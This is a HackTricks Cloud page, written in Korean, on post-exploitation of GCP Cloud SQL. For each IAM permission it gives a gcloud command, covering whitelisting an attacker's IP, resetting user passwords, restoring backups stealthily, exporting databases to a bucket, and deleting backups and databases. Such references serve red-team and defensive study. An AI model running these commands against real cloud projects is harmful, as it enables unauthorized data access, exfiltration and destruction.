GCP - Cloud SQL Post Exploitation
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cloud SQL
Cloud SQL에 대한 자세한 정보는 다음을 확인하세요:
cloudsql.instances.update
, ( cloudsql.instances.get
)
데이터베이스에 연결하려면 데이터베이스 포트에 대한 접근 권한과 사용자 이름 및 비밀번호를 알아야 하며, IAM 요구 사항은 없습니다. 따라서 데이터베이스에 공용 IP 주소가 있다고 가정할 때 접근하는 쉬운 방법은 허용된 네트워크를 업데이트하고 자신의 IP 주소가 접근할 수 있도록 허용하는 것입니다.
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
**--no-backup
**를 사용하여 데이터베이스의 백업을 중단할 수도 있습니다.
이것이 요구 사항이므로 cloudsql.instances.connect
및 **cloudsql.instances.login
**의 권한이 무엇인지 확실하지 않습니다. 아는 분은 PR을 보내주세요!
cloudsql.users.list
데이터베이스의 모든 사용자 목록을 가져옵니다:
gcloud sql users list --instance <intance-name>
cloudsql.users.create
이 권한은 데이터베이스 내에 새로운 사용자를 생성할 수 있게 해줍니다:
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
이 권한은 데이터베이스 내에서 사용자를 업데이트할 수 있게 해줍니다. 예를 들어, 비밀번호를 변경할 수 있습니다:
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
백업에는 오래된 민감한 정보가 포함될 수 있으므로 확인하는 것이 흥미롭습니다.
데이터베이스 내에서 백업 복원:
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
더 은밀하게 수행하기 위해서는 현재 실행 중인 데이터베이스 대신 새 SQL 인스턴스를 생성하고 그곳에서 데이터를 복구하는 것이 권장됩니다.
cloudsql.backupRuns.delete
이 권한은 백업을 삭제할 수 있습니다:
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
데이터베이스를 Cloud Storage Bucket에 내보내서 거기에서 접근할 수 있도록 합니다:
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
Cloud Storage 버킷에서 데이터베이스 가져오기 (덮어쓰기):
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
DB 인스턴스에서 데이터베이스를 삭제합니다:
gcloud sql databases delete <db-name> --instance <instance-id>
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.